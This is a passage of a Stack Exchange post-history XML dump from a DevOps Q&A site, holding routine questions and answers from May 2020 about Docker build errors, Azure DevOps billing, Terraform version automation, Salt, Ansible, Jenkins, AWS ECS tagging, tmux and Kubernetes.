I do or how to debug?  &#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35760" PostHistoryTypeId="5" PostId="11675" RevisionGUID="f86ae7c3-1cea-433f-b14b-663656e89b3f" CreationDate="2020-05-23T07:47:08.587" UserId="22397" Comment="added 6 characters in body" Text="~~~&#xD;&#xA;PS D:\&gt;docker-compose up&#xD;&#xA;Building app&#xD;&#xA;Step 1/7 : FROM php:7.4-fpm-alpine&#xD;&#xA;—&gt; 5ae58b49885c&#xD;&#xA;Step 2/7 : RUN apk add --no-cache autoconf curl dpkg-dev dpkg freetype-dev file g++ gcc giticu-dev jpeg-dev libc-dev libmcrypt-dev libpng-dev libjpeg-turbo-dev libxml2-dev libzip-dev make mariadb-dev postgresql-dev pkgconf php7-dev re2c rsync unzip wget zlib-dev&#xD;&#xA;ERROR: Service ‘app’ failed to build: Invalid signal: SIGQUIT&#xD;&#xA;~~~&#xD;&#xA;Running:&#xD;&#xA;~~~&#xD;&#xA;docker run -ti 5ae58b49885c apk add --no-cache autoconf curl dpkg-dev dpkg freetype-dev file g++ gcc git icu-dev jpeg-dev libc-dev libmcrypt-dev libpng-dev libjpeg-turbo-dev libxml2-dev libzip-dev make mariadb-dev postgresql-dev pkgconf php7-dev re2c rsync unzip wget zlib-dev&#xD;&#xA;~~~&#xD;&#xA;seems to work except for the error at the end:&#xD;&#xA;~~~&#xD;&#xA;[...]&#xD;&#xA;OK: 392 MiB in 105 packages&#xD;&#xA;time=&quot;2020-05-23T11:54:06+05:00&quot; level=error msg=&quot;Error waiting for container: failed to&#xD;&#xA;shutdown container: container 4e49e4bb8234f213ed580978bc3a4f4cacff549f91affcf82783a2703f341ddb&#xD;&#xA;encountered an error during hcsshim::System::waitBackground: failure in a Windows system&#xD;&#xA;call: The virtual machine or container with the specified identifier is not running.&#xD;&#xA;(0xc0370110): subsequent terminate failed container 4e49e4bb8234f213ed580978bc3a4f4cacff549f91affcf82783a2703f341ddb&#xD;&#xA;encountered an error during hcsshim::System::waitBackground: failure in a Windows system&#xD;&#xA;call: The virtual machine or container with the specified identifier is not running. (0xc0370110)&quot;&#xD;&#xA;~~~&#xD;&#xA;Version: 19.03.8  &#xD;&#xA;OS/Arch: windows/amd64  &#xD;&#xA;Experimental: true&#xD;&#xA;&#xD;&#xA;Switching containers doesn’t help. What can I do or how to debug?  &#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35761" PostHistoryTypeId="2" PostId="11676" RevisionGUID="e49af1a0-3bad-45a5-8da9-33e8cd7510b6" CreationDate="2020-05-23T10:17:11.960" UserId="22397" Text="Latest edge release 2.3.0.2 fixed this and many others problems" ContentLicense="CC BY-SA 4.0" />
  <row Id="35762" PostHistoryTypeId="50" PostId="11422" RevisionGUID="0565c98b-097a-4d69-89c4-aa90479b3f35" CreationDate="2020-05-23T12:02:05.210" UserId="-1" />
  <row Id="35763" PostHistoryTypeId="50" PostId="8408" RevisionGUID="1bea54c5-4797-4258-8481-0557d1559a59" CreationDate="2020-05-23T13:02:55.267" UserId="-1" />
  <row Id="35764" PostHistoryTypeId="2" PostId="11677" RevisionGUID="93e996ab-72a5-41f5-b4be-6c06f1045140" CreationDate="2020-05-23T13:26:21.007" UserId="4023" Text="As mentioned on the [Azure DevOps official pricing page][1], The plan provides 1 Free Microsoft-hosted CD/CI parallel job with up to 1800 minutes per month and 1 Free Self-hosted CD/CI parallel job with unlimited minutes per month. &#xD;&#xA;&#xD;&#xA;When we exceed the limit of Microsoft-hosted minutes what I do is configuring a VM as the build agent. How to buy more build minutes after exceeding this 1800 minutes rather launching VMs for agents by myself? &#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/pricing/details/devops/azure-devops-services/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35765" PostHistoryTypeId="1" PostId="11677" RevisionGUID="93e996ab-72a5-41f5-b4be-6c06f1045140" CreationDate="2020-05-23T13:26:21.007" UserId="4023" Text="How to buy more Azure DevOps pipelines build minutes" ContentLicense="CC BY-SA 4.0" />
  <row Id="35766" PostHistoryTypeId="3" PostId="11677" RevisionGUID="93e996ab-72a5-41f5-b4be-6c06f1045140" CreationDate="2020-05-23T13:26:21.007" UserId="4023" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35767" PostHistoryTypeId="2" PostId="11678" RevisionGUID="2c48dd68-6254-44da-9862-a2dc4121ae57" CreationDate="2020-05-23T15:27:01.140" UserId="22395" Text="Platform: GitHub&#xD;&#xA;&#xD;&#xA;CI/CD: GitHub Actions&#xD;&#xA;&#xD;&#xA;Additional technologies: Docker with Ubuntu base image&#xD;&#xA;&#xD;&#xA;I'm creating a Dockerfile and I need to install a package (such as Terraform). Every time the 'current_version' within &quot;https://checkpoint-api.hashicorp.com/v1/check/terraform&quot; changes, then I want a pull request made to the repo (to change a JSON file with version info).&#xD;&#xA;&#xD;&#xA;I've also looked into options such as Dependabot and Renovate. Maybe create a Cron job?&#xD;&#xA;&#xD;&#xA;I would appreciate some advice as to how to do this.&#xD;&#xA;&#xD;&#xA;Here's how the code would look on a high-level:&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;&#xD;&#xA;    RUN apt-get install # install packages such as curl and wget&#xD;&#xA;&#xD;&#xA;    wget -O terraform.zip https://releases.hashicorp.com/terraform/${JSON_FILE.TF_VERSION}/terraform_${JSON_FILE.TF_VERSION}_linux_amd64.zip" ContentLicense="CC BY-SA 4.0" />
  <row Id="35768" PostHistoryTypeId="1" PostId="11678" RevisionGUID="2c48dd68-6254-44da-9862-a2dc4121ae57" CreationDate="2020-05-23T15:27:01.140" UserId="22395" Text="Create pull request for docker dependency package if outdated" ContentLicense="CC BY-SA 4.0" />
  <row Id="35769" PostHistoryTypeId="3" PostId="11678" RevisionGUID="2c48dd68-6254-44da-9862-a2dc4121ae57" CreationDate="2020-05-23T15:27:01.140" UserId="22395" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35770" PostHistoryTypeId="5" PostId="11676" RevisionGUID="dfb6699c-de33-4ce0-8965-34591c859e21" CreationDate="2020-05-23T16:53:30.747" UserId="22397" Comment="edited body" Text="Latest edge release 2.3.1.0 fixed this and many others problems" ContentLicense="CC BY-SA 4.0" />
  <row Id="35771" PostHistoryTypeId="2" PostId="11679" RevisionGUID="927b4516-a31b-470d-8628-b4c868882472" CreationDate="2020-05-23T18:46:04.383" UserId="22405" Text="I am using Salt 2019.2.0 version and below is my state file where I am using if condition to check the values and run states if it's a match. Even if I have provided endif, it says Jinja looking for missing endif tag. Any help please?&#xD;&#xA;&#xD;&#xA;**CODE**:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{% if salt['pillar.get']('spade:Corename') == 'FI' and salt['pillar.get']('spade:NodeType') == 'master' %}dataimport-script:file.managed:- name: /opt/bin/DataImport.py- source: salt://files/DataImport.py&#xD;&#xA;&#xD;&#xA;dataimport-crontab:file.managed:- name: /etc/cron.d/solr-dataimport- contents: |# # set up data import for FI every 2 minutes*/2 * * * * root /usr/bin/python /opt/bin/DataImport.py&#xD;&#xA;&#xD;&#xA;{% elif salt['pillar.get']('spade:NodeType') in ['slave','ds'] and salt['pillar.get']('spade:Corename') == 'FI' %}update-fi-solrconfig:file.replace:- name: {{ salt['pillar.get']('solr:home_dir') }}/data/{{ salt['pillar.get']('spade:Corename') }}/conf/solrconfig.xml- pattern: '&quot;autoDeletePeriodSeconds&quot;&gt;30'- repl: '&quot;autoDeletePeriodSeconds&quot;&gt;-1'{% endif %}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**ERROR**:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;local:&#xD;&#xA;&#xD;&#xA;Data failed to compile:&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Rendering SLS 'base:solr.install-solr' failed: Jinja syntax error: Unexpected end of template. Jinja was looking for the following tags: 'endif'. The innermost block that needs to be closed is 'if'.; line 205&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;[...]&#xD;&#xA;&#xD;&#xA;update-fi-solrconfig:&#xD;&#xA;&#xD;&#xA;file.replace:&#xD;&#xA;&#xD;&#xA;- name: {{ salt['pillar.get']('solr:home_dir') }}/data/{{ salt['pillar.get']('spade:Corename') }}/conf/solrconfig.xml&#xD;&#xA;&#xD;&#xA;- pattern: '&quot;autoDeletePeriodSeconds&quot;&gt;30'&#xD;&#xA;&#xD;&#xA;- repl: '&quot;autoDeletePeriodSeconds&quot;&gt;-1'&#xD;&#xA;&#xD;&#xA;{% endif %} &lt;======================" ContentLicense="CC BY-SA 4.0" />
  <row Id="35772" PostHistoryTypeId="1" PostId="11679" RevisionGUID="927b4516-a31b-470d-8628-b4c868882472" CreationDate="2020-05-23T18:46:04.383" UserId="22405" Text="Jinja syntax error: missing endif, in spite of providing it" ContentLicense="CC BY-SA 4.0" />
  <row Id="35773" PostHistoryTypeId="3" PostId="11679" RevisionGUID="927b4516-a31b-470d-8628-b4c868882472" CreationDate="2020-05-23T18:46:04.383" UserId="22405" Text="&lt;salt&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35774" PostHistoryTypeId="2" PostId="11680" RevisionGUID="1f24b497-2322-429b-950a-ddda638a576d" CreationDate="2020-05-23T21:50:37.347" UserId="22024" Text="You can set up billing in your Organization settings in DevOps&#xD;&#xA;&#xD;&#xA;https://dev.azure.com/~your organization name~/_settings/billing" ContentLicense="CC BY-SA 4.0" />
  <row Id="35775" PostHistoryTypeId="5" PostId="11677" RevisionGUID="4ecb4075-afa6-4a9e-aabd-bc59c6f6fece" CreationDate="2020-05-24T02:19:17.390" UserId="1180" Comment="grammar corrections" Text="As mentioned on the [Azure DevOps official pricing page][1], the plan provides 1 Free Microsoft-hosted CD/CI parallel job with up to 1800 minutes per month and 1 Free Self-hosted CD/CI parallel job with unlimited minutes per month. &#xD;&#xA;&#xD;&#xA;When we exceed the limit of Microsoft-hosted minutes, what I do is configure a VM as the build agent. How can I buy more build minutes after exceeding this 1800 minutes, rather than launching VMs for agents by myself? &#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/pricing/details/devops/azure-devops-services/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35776" PostHistoryTypeId="4" PostId="11677" RevisionGUID="4ecb4075-afa6-4a9e-aabd-bc59c6f6fece" CreationDate="2020-05-24T02:19:17.390" UserId="1180" Comment="grammar corrections" Text="How to buy more Azure DevOps pipelines build minutes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35777" PostHistoryTypeId="24" PostId="11677" RevisionGUID="4ecb4075-afa6-4a9e-aabd-bc59c6f6fece" CreationDate="2020-05-24T02:19:17.390" Comment="Proposed by 1180 approved by 4023 edit id of 1205" ContentLicense="CC BY-SA 4.0" />
  <row Id="35782" PostHistoryTypeId="2" PostId="11683" RevisionGUID="bd2ecb8d-ff3a-43b9-a3f7-2f9bbd3b8c48" CreationDate="2020-05-24T09:03:22.380" UserId="12614" Text="I've configured ansible.cfg to display the steps it has done during a playbook run and it looks like so:&#xD;&#xA;&#xD;&#xA;    ===============================================================================&#xD;&#xA;    common : Upgrade all packages --------------------------------------- 407.33s&#xD;&#xA;    jenkins-slave : compile git --------------------------------------- 153.26s&#xD;&#xA;    jenkins-slave : clone tss repo --------------------------------------- 44.61s&#xD;&#xA;    jenkins-slave : remove current git installation --------------------------------------- 24.22s&#xD;&#xA;    jenkins-slave : install java 1.8.0 --------------------------------------- 16.61s&#xD;&#xA;    jenkins-slave : download git source --------------------------------------- 12.44s&#xD;&#xA;    jenkins-slave : Install required packages --------------------------------------- 10.83s&#xD;&#xA;    jenkins-slave : clone repo --------------------------------------- 9.02s&#xD;&#xA;    common : Install base packages --------------------------------------- 6.74s&#xD;&#xA;    jenkins-slave : install nvm --------------------------------------- 5.72s&#xD;&#xA;    common : install pip --------------------------------------- 5.21s&#xD;&#xA;    common : Install base packages centos 7 --------------------------------------- 3.53s&#xD;&#xA;    node-exporter : download node-exporter tarball --------------------------------------- 2.83s&#xD;&#xA;    jenkins-slave : create &quot;/opt/devenv/company&quot; --------------------------------------- 1.97s&#xD;&#xA;    common : download pip --------------------------------------- 1.80s&#xD;&#xA;    Gathering Facts --------------------------------------- 1.69s&#xD;&#xA;    common : install pip packages --------------------------------------- 1.66s&#xD;&#xA;    jenkins-slave : unarchive git source --------------------------------------- 1.46s&#xD;&#xA;    node-exporter : untar node-exporter tarball --------------------------------------- 1.32s&#xD;&#xA;&#xD;&#xA;ansible.cfg is configured like so:&#xD;&#xA;&#xD;&#xA;    [defaults]&#xD;&#xA;    nocows = 1&#xD;&#xA;    nocolor = 0&#xD;&#xA;    retry_files_enabled   = False&#xD;&#xA;    display_skipped_hosts = True&#xD;&#xA;    host_key_checking = False&#xD;&#xA;    transport = paramiko&#xD;&#xA;    bin_ansible_callbacks = True&#xD;&#xA;    callback_whitelist = profile_tasks&#xD;&#xA;    forks = 25&#xD;&#xA;    [ssh_connection]&#xD;&#xA;    transfer_method = scp&#xD;&#xA;&#xD;&#xA;If you see from the output, the order is all mixed up and is sorted by the length of each task's run in descending order.&#xD;&#xA;&#xD;&#xA;How can I sort the output so it displays the tasks by the order they were run?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35783" PostHistoryTypeId="1" PostId="11683" RevisionGUID="bd2ecb8d-ff3a-43b9-a3f7-2f9bbd3b8c48" CreationDate="2020-05-24T09:03:22.380" UserId="12614" Text="How to sort displayed tasks in the order they were run rather than by the time it took each task to run?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35784" PostHistoryTypeId="3" PostId="11683" RevisionGUID="bd2ecb8d-ff3a-43b9-a3f7-2f9bbd3b8c48" CreationDate="2020-05-24T09:03:22.380" UserId="12614" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35786" PostHistoryTypeId="2" PostId="11684" RevisionGUID="632cabf1-5a1d-49f0-ad12-27321f0773f1" CreationDate="2020-05-24T12:29:12.483" UserId="17131" Text="You need to put `public ip address` or `hostname` assigned by aws ec2 service, if your aws ec2 instance is public.&#xD;&#xA;&#xD;&#xA;If your aws ec2 instance is located in vpc, you won't be able to connect it directly. Either you need to setup routing through internet gateway or you have to setup ansible server in vpc. " ContentLicense="CC BY-SA 4.0" />
  <row Id="35787" PostHistoryTypeId="2" PostId="11685" RevisionGUID="1a435a8f-a813-42cc-a1d9-bbc8076a8f10" CreationDate="2020-05-24T16:45:42.067" UserId="22408" Text="In jenkins Job, I am taking a String parameter as below: &#xD;&#xA;&#xD;&#xA;FoldersList = test1,test2,test3,Folder name1,Folder name2,Folder name3 &#xD;&#xA;&#xD;&#xA;when I pass this value to environment variable the jenkins job fails with error : Unknown lifecycle phase etc etc since spaces are not allowed in folder names. &#xD;&#xA;&#xD;&#xA;I am passing the environment variable like this in goals and options section : &#xD;&#xA;&#xD;&#xA;exec:java -Dexec.classpathScope=&quot;test&quot; -Dexec.mainClass=&quot;com.mypackage.main.TestNGRunner&quot; -Dexec.cleanupDaemonThreads=false &quot;-Dexec.args=-inputexcel=Data.xlsx -jenkinsJobName=testJob&#xD;&#xA; -layer=MultiplefolderTest -InpFoldersList=&quot;\&quot;$inpFoldersList&quot;\&quot; -threadCount=12 -retryCount=3&quot;&#xD;&#xA;&#xD;&#xA;If I pass a single string within double quotes it works but the user will enter multiple folder names possibly with spaces. Please can somebody help since I tried different options but none work. Is there a way to manipulate the string and pass it to the environment variable. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35788" PostHistoryTypeId="1" PostId="11685" RevisionGUID="1a435a8f-a813-42cc-a1d9-bbc8076a8f10" CreationDate="2020-05-24T16:45:42.067" UserId="22408" Text="How to pass a String parameter with spaces in Jenkins to environment variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="35789" PostHistoryTypeId="3" PostId="11685" RevisionGUID="1a435a8f-a813-42cc-a1d9-bbc8076a8f10" CreationDate="2020-05-24T16:45:42.067" UserId="22408" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35793" PostHistoryTypeId="2" PostId="11687" RevisionGUID="9dc6774d-7a1c-4407-a23f-c67c0116a2e5" CreationDate="2020-05-25T05:15:17.663" UserId="21893" Text="I am trying to tag commit hash and app version onto the ECS service to make it easier for developers to identify the service with the code. &#xD;&#xA;&#xD;&#xA;But I get this error&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;+ aws ecs tag-resource --resource-arn arn:aws:ecs:ap-southeast-1:12344556677:service/master-web-dev-WebECSServices --tags key=COMMITHASH,value=85491def key=VERSION,value=0.2.4&#xD;&#xA;An error occurred (InvalidParameterException) when calling the TagResource operation: Long arn format must be used for tagging operations&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is there any problem with the ARN? why do I always get this issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35794" PostHistoryTypeId="1" PostId="11687" RevisionGUID="9dc6774d-7a1c-4407-a23f-c67c0116a2e5" CreationDate="2020-05-25T05:15:17.663" UserId="21893" Text="Get tagging to work on AWS CLI" ContentLicense="CC BY-SA 4.0" />
  <row Id="35795" PostHistoryTypeId="3" PostId="11687" RevisionGUID="9dc6774d-7a1c-4407-a23f-c67c0116a2e5" CreationDate="2020-05-25T05:15:17.663" UserId="21893" Text="&lt;amazon-web-services&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35797" PostHistoryTypeId="2" PostId="11688" RevisionGUID="d4e6a071-3b62-477c-a5ad-b796ed43ece5" CreationDate="2020-05-25T21:00:21.073" UserId="22425" Text="I have a Raspberry Pi 2B and a fresh install of Raspbian.&#xD;&#xA;&#xD;&#xA;I am trying to install Docker, and following the instructions on the site (https://docs.docker.com/engine/install/debian/#install-using-the-convenience-script), I used the convenience script just like it's written there.&#xD;&#xA;&#xD;&#xA;This is all the output I get:&#xD;&#xA;```&#xD;&#xA;# Executing docker install script, commit: 26ff363bcf3b3f5a00498ac43694bf1c7d9ce16c&#xD;&#xA;+ sh -c apt-get update -qq &gt;/dev/null&#xD;&#xA;+ sh -c DEBIAN_FRONTEND=noninteractive apt-get install -y -qq apt-transport-https ca-certificates curl &gt;/dev/null&#xD;&#xA;+ sh -c curl -fsSL &quot;https://download.docker.com/linux/raspbian/gpg&quot; | apt-key add -qq - &gt;/dev/null&#xD;&#xA;Warning: apt-key output should not be parsed (stdout is not a terminal)&#xD;&#xA;+ sh -c echo &quot;deb [arch=armhf] https://download.docker.com/linux/raspbian buster stable&quot; &gt; /etc/apt/sources.list.d/docker.list&#xD;&#xA;+ sh -c apt-get update -qq &gt;/dev/null&#xD;&#xA;+ [ -n  ]&#xD;&#xA;+ sh -c apt-get install -y -qq --no-install-recommends docker-ce &gt;/dev/null&#xD;&#xA;Scanning processes...                                                                                                                                                                                                                         &#xD;&#xA;Scanning linux images...&#xD;&#xA;```&#xD;&#xA;I let it run for more than a half hour and nothing changes. &#xD;&#xA;&#xD;&#xA;How do I resolve this?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35798" PostHistoryTypeId="1" PostId="11688" RevisionGUID="d4e6a071-3b62-477c-a5ad-b796ed43ece5" CreationDate="2020-05-25T21:00:21.073" UserId="22425" Text="Docker convenience script stuck after &quot;Scanning linux images&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35799" PostHistoryTypeId="3" PostId="11688" RevisionGUID="d4e6a071-3b62-477c-a5ad-b796ed43ece5" CreationDate="2020-05-25T21:00:21.073" UserId="22425" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35800" PostHistoryTypeId="2" PostId="11689" RevisionGUID="965bae96-6483-4622-b601-ec098a0fabc9" CreationDate="2020-05-26T01:21:56.107" UserId="22427" Text="So I have some API server that I need to be up 24/7. Is it a bad idea to open up a tmux window and run the server application? When you run a binary in tmux, the binary stays running even when you close the tmux window. The binary also stays running when I disconnect from the SSH session. I like running the server application in tmux because I can easily just attach to the tmux window and have access to a shell where the executable lives. The server constantly prints log messages to standard output, meaning I like to be able to read those messages in my tmux window. However, there is something that just seems off about this method of running a server application. I would prefer if the server could somehow run in the background, but I also want to be able to see the logs that the terminal is printing out at any given time. So, to summarize, is it a bad idea to run a server application in tmux? If so, what do I do instead so that I can still read the server application's logs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35801" PostHistoryTypeId="1" PostId="11689" RevisionGUID="965bae96-6483-4622-b601-ec098a0fabc9" CreationDate="2020-05-26T01:21:56.107" UserId="22427" Text="Using tmux to host a server" ContentLicense="CC BY-SA 4.0" />
  <row Id="35802" PostHistoryTypeId="3" PostId="11689" RevisionGUID="965bae96-6483-4622-b601-ec098a0fabc9" CreationDate="2020-05-26T01:21:56.107" UserId="22427" Text="&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35803" PostHistoryTypeId="2" PostId="11690" RevisionGUID="e6b246ad-6109-48ea-b9db-0a3643c4f00e" CreationDate="2020-05-26T06:55:21.643" UserId="10715" Text="What you want can be done. I've seen it done with GNU screen when Tmux wasn't around yet. *However, I would not consider it good style to do it.*&#xD;&#xA;&#xD;&#xA;There are better ways to do this. [Daemons][1] are simply &quot;normal&quot; processes being run in a particular way. That particular way usually means to fork &quot;twice&quot; (so that the parent/child relationship gets broken) and plugging stdout, stdin and stderr to some file (or `/dev/null` if no logging is desired).&#xD;&#xA;&#xD;&#xA;There are tools aplenty out there to achieve what you want while also ensuring that there is a policy in place if the process unexpectedly goes down. After all a service should be available as close to 100% of the time as possible.&#xD;&#xA;&#xD;&#xA;Read up on:&#xD;&#xA;&#xD;&#xA;* [daemontools](https://en.wikipedia.org/wiki/Daemontools)&#xD;&#xA;* [supervisor](http://supervisord.org/)&#xD;&#xA;* [daemonize](https://linux.die.net/man/1/daemonize)&#xD;&#xA;* [runit](http://smarden.org/runit/)&#xD;&#xA;&#xD;&#xA;Arguably your system will already have one of these or a very similar tool installed. But you don't give enough information for me to provide more detail.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Daemon_(computing)#Unix-like_systems" ContentLicense="CC BY-SA 4.0" />
  <row Id="35804" PostHistoryTypeId="2" PostId="11691" RevisionGUID="264efd89-4b68-467b-98b6-ef817fe4f392" CreationDate="2020-05-26T08:07:13.867" UserId="8526" Text="Hi We are deploying a fairly standard multiple purpose (data replication workers and some nginx web proxies) in an EKS cluster, and wondering what EC2 instance class people recommend for this workload. Probably would look at a base of 3 x (M5|T3|..).large instances with the ability to scale it up. I wonder if others have experience with comparing the compute types." ContentLicense="CC BY-SA 4.0" />
  <row Id="35805" PostHistoryTypeId="1" PostId="11691" RevisionGUID="264efd89-4b68-467b-98b6-ef817fe4f392" CreationDate="2020-05-26T08:07:13.867" UserId="8526" Text="Best AWS EC2 instance class for general Kubernetes cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="35806" PostHistoryTypeId="3" PostId="11691" RevisionGUID="264efd89-4b68-467b-98b6-ef817fe4f392" CreationDate="2020-05-26T08:07:13.867" UserId="8526" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35811" PostHistoryTypeId="2" PostId="11693" RevisionGUID="a099669d-52e8-491e-8333-1ab777b54102" CreationDate="2020-05-26T12:12:02.330" UserId="4427" Text="I think the instance class is going to vary based on the kind of workloads you run. You might start out with X but next thing you know your running a bunch of random stuff. You can always run a cluster of different instance classes and then have the scheduler schedule your workloads to the right instance. &#xD;&#xA;&#xD;&#xA;M5 and t3 are Nitro based instances. They have a big list of benefits https://aws.amazon.com/ec2/nitro/ . My favorite being that I can log into those instances using my AWS account with no SSH keys. &#xD;&#xA;&#xD;&#xA;My personal workloads are more memory-hungry. Since you can't throttle memory like cpu you should factor that in when sizing your instances. I think fewer denser instances are probably more favorable than lots of small instances. &#xD;&#xA;&#xD;&#xA;I'm not sure what your use case is for running nginx rever proxies but you may want to look into kubernetes ingress. " ContentLicense="CC BY-SA 4.0" />
  <row Id="35812" PostHistoryTypeId="2" PostId="11694" RevisionGUID="d3cc1531-b216-4b3b-a046-c671a99c0645" CreationDate="2020-05-26T12:22:23.460" UserId="4427" Text="I think this is because your ECS service was created before tagging was available for ECS services. &#xD;&#xA;&#xD;&#xA;See this blog post by AWS on how to migrate to the new ARN format. https://aws.amazon.com/blogs/compute/migrating-your-amazon-ecs-deployment-to-the-new-arn-and-resource-id-format-2/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35813" PostHistoryTypeId="2" PostId="11695" RevisionGUID="0e58f270-7924-469f-ba26-a9e8420e8979" CreationDate="2020-05-26T14:00:58.460" UserId="22287" Text="Jenkins supports scripted pipeline which can handle my every requirement.&#xD;&#xA;Buildbot can handle these requirements with custom steps, i suppose, but it's too hard if compared to Jenkins' scripted pipeline." ContentLicense="CC BY-SA 4.0" />
  <row Id="35814" PostHistoryTypeId="2" PostId="11696" RevisionGUID="aeab1a5e-d038-4b08-ba02-290973c87f52" CreationDate="2020-05-26T14:06:13.457" UserId="17329" Text="What about save the env variable within a file and read from it after, you can encrypt/decrypt or use another type of parameter if that is a problem." ContentLicense="CC BY-SA 4.0" />
  <row Id="35815" PostHistoryTypeId="2" PostId="11697" RevisionGUID="788c5730-329f-44f0-8a5e-ae3d6f9da88f" CreationDate="2020-05-26T14:08:20.727" UserId="4427" Text="Assuming a docker file like this...&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:18.04&#xD;&#xA;    &#xD;&#xA;    ARG TF_VERSION=0.12.25&#xD;&#xA;    &#xD;&#xA;    RUN apt-get install wget -y&#xD;&#xA;    &#xD;&#xA;    RUN wget -O terraform.zip https://releases.hashicorp.com/terraform/${TF_VERSION}/terraform_${TF_VERSION}_linux_amd64.zip&#xD;&#xA;&#xD;&#xA;In your GitHub action you would need to get the current version from your Dockerfile.&#xD;&#xA;&#xD;&#xA;    export CURRENT_TF_VERSION=$(grep -Eo '[[:digit:]]*\.[[:digit:]]*\.[[:digit:]]*' Dockerfile)&#xD;&#xA;&#xD;&#xA;Then the latest version of terraform.&#xD;&#xA;&#xD;&#xA;    export LATEST_TF_VERSION=$(curl -s 'https://checkpoint-api.hashicorp.com/v1/check/terraform' | jq -r .current_version)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now in bash or using `if` and `outputs` in GitHub actions compare the two values. If they are not the same then find and replace the current version with the latest version in your Dockerfile.&#xD;&#xA;&#xD;&#xA;    sed -i &quot;s/${CURRENT_TF_VERSION}/${LATEST_TF_VERSION}/&quot; Dockerfile &#xD;&#xA;&#xD;&#xA;Then you can use the [create-pull-request][1] GitHub action to create a pull request.&#xD;&#xA;&#xD;&#xA;The [create-pull-request][1] documentation doesn't mention what happens if you don't have any changes but I asked [here][2]. If it doesn't throw an error when you don't have changes then you could simply get the latest value and run sed.&#xD;&#xA;&#xD;&#xA;    sed &quot;s/[[:digit:]]*\.[[:digit:]]*\.[[:digit:]]*/${LATEST_TF_VERSION}/&quot; Dockerfile &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/peter-evans/create-pull-request&#xD;&#xA;  [2]: https://github.com/peter-evans/create-pull-request/issues/348" ContentLicense="CC BY-SA 4.0" />
  <row Id="35816" PostHistoryTypeId="2" PostId="11698" RevisionGUID="9f4e1719-a231-4c08-9157-2b1b266b19c9" CreationDate="2020-05-26T14:43:41.233" UserId="17329" Text="I have managed to solve it myself later that day, I had to disable one of the apigroups within the specific crd that is responsible for the given object.&#xD;&#xA;In that case it was editing:&#xD;&#xA;kubectl edit crd virtualservices.networking.istio.io&#xD;&#xA;And then change:&#xD;&#xA;```&#xD;&#xA;  versions:&#xD;&#xA;  - name: v1alpha3&#xD;&#xA;    served: true&#xD;&#xA;    storage: true&#xD;&#xA;  - name: v1beta1&#xD;&#xA;    served: true&#xD;&#xA;    storage: false&#xD;&#xA;```&#xD;&#xA;to&#xD;&#xA;```&#xD;&#xA;  versions:&#xD;&#xA;  - name: v1alpha3&#xD;&#xA;    served: true&#xD;&#xA;    storage: true&#xD;&#xA;  - name: v1beta1&#xD;&#xA;    served: false&#xD;&#xA;    storage: false&#xD;&#xA;```&#xD;&#xA;Then on redeploy I had the correct apigroup which I wanted.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
